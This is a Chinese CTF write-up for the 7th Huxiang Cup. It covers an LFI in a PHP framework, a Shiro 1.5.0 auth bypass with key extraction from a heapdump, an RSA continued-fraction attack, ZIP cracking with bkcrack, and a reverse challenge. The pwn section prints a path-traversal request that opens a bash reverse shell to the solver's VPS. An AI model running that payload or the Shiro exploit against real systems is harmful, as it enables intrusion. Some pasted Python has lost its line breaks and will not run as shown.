我只解了一道密码和一道杂项,因为疫情没有去线下赛。

wp

  • web
    • Eazywill
    • Pentest in Autumn
  • crypto
    • signin
  • misc
    • 某取证题
  • pwn
    • tiny_httpd
  • reverse
    • Hideit

web

Eazywill

开局给了源代码,审计一下
重点在View::fetch()函数,经过一系列流程调用了renderTo,以下是重点代码

extract($_vars);
include $cfile;


那么直接传参: /?name=cfile&value=/etc/passwd
可以读取,但是尝试读取/flag失败,
联想到以前看过https://tttang.com/archive/1312/
那么直接靠这个考点,直接传参:


Pentest in Autumn

首先给了pom.xml
提示shiro是1.5.0版本,有未授权访问漏洞
访问http://eci-2zej1goyn9jh89xtqlpd.cloudeci1.ichunqiu.com:8888/;a/actuator/heapdump,
然后使用MAT打开进行分析
直接oql查询:

select s from org.apache.shiro.web.mgt.CookieRememberMeManager s

直接查看左侧Attributes


根据密钥的生成规则,
base64.b64encode(struct.pack(’<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57,-45,-46,104,73,116,3,28,126,-34,58))
得到密钥:
+DNHaUU509JoSXQDHH7eOg==
然后使用shiro的利用工具,直接getflag

crypto

signin

和[羊城杯 2020]RRRRRRRSA挺像的,前面连分数逼近部分的脚本用的是翅膀师傅博客里的。

from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y):  # 使用辗转相除将分数x/y转为连分数的形式res = []while y:res.append(x // y)x, y = y, x % yreturn resdef continued_fraction(sub_res):numerator, denominator = 1, 0for i in sub_res[::-1]:  # 从sublist的后面往前循环denominator, numerator = numerator, i * numerator + denominatorreturn denominator, numerator  # 得到渐进分数的分母和分子,并返回# 求解每个渐进分数
def sub_fraction(x, y):res = transform(x, y)res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res)))))  # 将连分数的结果逐一截取以求渐进分数return resdef wienerAttack(n1, n2):for (q2, q1) in sub_fraction(n1, n2):  # 用一个for循环来注意试探n1/n2的连续函数的渐进分数,直到找到一个满足条件的渐进分数if q1 == 0:  # 可能会出现连分数的第一个为0的情况,排除continueif n1 % q1 == 0 and q1 != 1:  # 成立条件return (q1, q2)print("该方法不适用")
c1=361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2=33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1,q2=wienerAttack(N1, N2)p1=iroot(N1//q1,4)[0]
p2=iroot(N2//q2,4)[0]phi1=(p1**4-p1**3)*(q1-1)
phi2=(p2**4-p2**3)*(q2-1)d1=invert(65537,phi1)
d2=invert(65537,phi2)
print(long_to_bytes(pow(c1,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))
flag{8ef333ac-21a7-11ec-80f1-00155d83f114}

misc

某取证题

直接foremost,可以看到很多jpg图片和png图片,有的jpg图片上好像有字符,于是

一个一个dumpfiles弄出来,其中一张上面有后半个flag

接着pslist看进程,发现有wireshark,dump出来,再foremost,其中有一个加密的压缩包

尝试之后发现不是常规加密,是一种明文攻击,参考文章:https://blog.csdn.net/q851579181q/article/details/109767425

因为这里是jpg文件,所以选定文件头作为明文保存为key,这里选定的明文比较长,所以爆破速度会快很多,不过这一段是t.jpg对应的,跑秘钥的时候只能指定t.jpg。用FFD8FFE000104A4649460001作为明文段会慢一点,但是两个图片都能指定。

echo -n "FFD8FFE000104A4649460001010000010001" | xxd -r -ps >key

然后跑秘钥

time ./bkcrack -C 1.zip -c t.jpg -p key -o 0

最后能跑出三段秘钥b0a90b36 14dd97b9 f5d648cf

再用秘钥去解两个图片,这里以a.jpg为例,解出来之后发现是Deflate的压缩形式,不能直接查看,于是使用inflate.py进行解压

bkcrack -C 1.zip -c a.jpg  -k b0a90b36 14dd97b9 f5d648cf -d a1.jpg

#解压
python3 tools/inflate.py < a1.jpg > 2.jpg

解压之后就可以看到前一半flag

pwn

tiny_httpd

附件主页文件里发现有命令执行加绕过
方法
1.vps监听端口
2.然后连靶机nc执行下面命令

POST //...//...//...//...//...//...//...//...//...//...//...//.../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTTP/1.0 200 OKbash -i >& /dev/tcp/vps地址/监听端口  0>&1 nc

vps上会弹shell,直接cat flag就行

reverse

Hideit

这个题首先祭出findcrypt

发现有salsa20
分析一下流程,其实需要调试

调试分析后发现是一个dll文件,分析算法
第一个算法是xxtea的加密算法,后面的才是findcrypt找到的salsa20算法。
第一个解出来密钥:dotitsit,,和真正的flag没啥关系
关键在于salas20算法,在内存中找到了0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0
至于算法的解密,其实都是异或算法,只要在内存中提取密钥流就行了,
把key和密文异或得出flag

key = [0x8D, 0xE2, 0x3D, 0xC2, 0x19, 0xF2, 0x2D, 0xCA, 0x18, 0x14, 0xCF, 0x52, 0x77, 0x5A, 0x9C, 0x13, 0xAA, 0xCC, 0x04, 0x5B, 0x92, 0xC1, 0x0C, 0x68, 0x45, 0x58, 0xF9, 0x47, 0x68, 0xD9, 0x35, 0xC5]
encstr = [0xEB, 0x8E, 0x5C, 0xA5, 0x62, 0xB4, 0x1C, 0x84, 0x5C, 0x59, 0xFC, 0x0D, 0x43, 0x3C, 0xAB, 0x20, 0xD8, 0x93, 0x33, 0x13, 0xA1, 0x9E, 0x39, 0x00, 0x76, 0x14, 0xB5, 0x04, 0x58, 0x9D, 0x06, 0xB8]
flag = ""
for i in range(32):flag += chr(key[i] ^ encstr[i])
print flag
#flag{F1NDM3_4f73r_7H3_5h3LLC0D3}

第七届“湖湘杯” Bugku战队writeup相关推荐

  1. 第七届湖湘杯网络安全大赛 - 初赛writeup

    Web easywill 解题思路 变量覆盖 http://eci-2zej1goyn9jh8hty6ton.cloudeci1.ichunqiu.com/?name=cfile&value= ...

  2. 2018湖湘杯海选复赛Writeup

    2018湖湘杯Writeup 0x01 签到题 0x02 MISC Flow 0x03 WEB Code Check 0x04 WEB Readflag 0x05 WEB XmeO 0x06 Reve ...

  3. 北大cls_战报 | 第七届CLS“联合杯”篮球联赛

    第七届CLS"联合杯"篮球赛 秋意渐浓 还有什么比一场篮球赛来得更酣畅淋漓 2020年11月1日 第七届北大清华生命科学联合中心 "联合杯"篮球联赛正式拉开帷幕 ...

  4. 第七届泰迪杯挑战赛C题

    第七届"泰迪杯"数据挖掘挑战赛C题赛题和数据 网盘链接: https://pan.baidu.com/s/1VRIHBLqaTsfOMLnVmibo5A 提取码:L6X6

  5. 2022第七届“数维杯”大学生数学建模夏令营

    一.夏令营背景 2022年"高教社杯"全国大学生数学建模竞赛(CUMCM,简称"国赛"将于 2022年9月15日周四18时至2022年9月18日周日20时举行, ...

  6. 2022年第七届数维杯大学生数学建模挑战赛报名通知

    一.竞赛背景 为了培养学生的创新意识及运用数学方法和计算机技术解决实际问题的能力,内蒙古创新教育学会.内蒙古创新教育资源开发研究院举办2022第七届数维杯大学生数学建模挑战赛(以下简称竞赛),数维杯大 ...

  7. 湖湘杯2019两个密码题wp

    湖湘杯2019两个密码题wp   还是自己太菜的原因,这次湖湘杯只做出来4道题,然后5点的时候就放弃了去跟同学出去玩了,当时感觉进前50无望(这次湖湘杯py情况也很严重啊,可惜烽火台只报不封,挺恶心的 ...

  8. 2019湖湘杯 misc3 之miscmisc

    ** 2019湖湘杯 misc3 之miscmisc* 明文攻击 关于LSB图片隐写的解法 word字符隐藏显示 zip加密文件破解 作为CTF小白,对于CTF一如既往的热爱,一个人报名了今年的湖湘杯 ...

  9. 2020湖湘杯 wp

    2020湖湘杯 wp web 题目名字不重要反正题挺简单的 NewWebsite misc misc2(题目名忘了.....) 总结 昨天打了下湖湘杯,签到选手上线. web 题目名字不重要反正题挺简 ...

最新文章

  1. 解决Wireshark 服务运行于非默认端口问题
  2. Yacc 与 Lex 快速入门(词法分析和语法分析)
  3. vue实现下拉框动态筛选
  4. 【科普】不同行业的常见数据分析的指标是什么?
  5. App设计灵感之十二组精美的租车类App设计案例
  6. php里push的用法,php array_push函数怎么用?
  7. java中jdom,java – JDOM中的命名空间(默认)
  8. P102、面试题14:调整数组顺序使奇数位于偶数前面
  9. 5G手机江湖:一场卡位战,一位“关键先生”,一个“王者”
  10. FMS3 客户端call服务器端
  11. pandas不显示index_Pandas中文官档 ~ 基础用法1
  12. python3 numpy安装 linux_Linux 下安装 numpy 和 scipy
  13. Science Robotics | 美国造“自我意识”机器人?还能自我复制?
  14. 关于字体绘制的baseline (QT 和 D2D)
  15. hgame-week1-web-fujiwara tofu shop
  16. 分享一个自动外呼系统案例
  17. python计算差商_用Python求函数的差商
  18. windows10如何开机自动运行bat文件
  19. H3C交换机和Linux服务器网卡绑定模式(bond)对接经典配置
  20. 基于AD Event日志监测域委派后门

热门文章

  1. html边框图片出不来怎么回事,IOS页面边框是显示不出来怎么办?border-image实例教程...
  2. 学习方法阶段性复盘分享
  3. 中国式家长计算机科学家攻略,中国式家长九代内攻略6个妹子方法详解
  4. 东南计算机研究生英语免修条件,关于2018级全日制硕士研究生公共英语课程免修、分级教学考试报名的通知...
  5. bootstap的switch的使用
  6. 红米4 android 6.0,红米Note 4、红米4依旧有可看的配置,还预置Android 6.0?
  7. DL/T645、DL/T698.45协议详解
  8. css实现图片叠加的几种思路(记录笔记)
  9. java变量之全局变量(静态变量,成员变量),局部变量,的关系和区别
  10. Word文档中插入心形特殊符号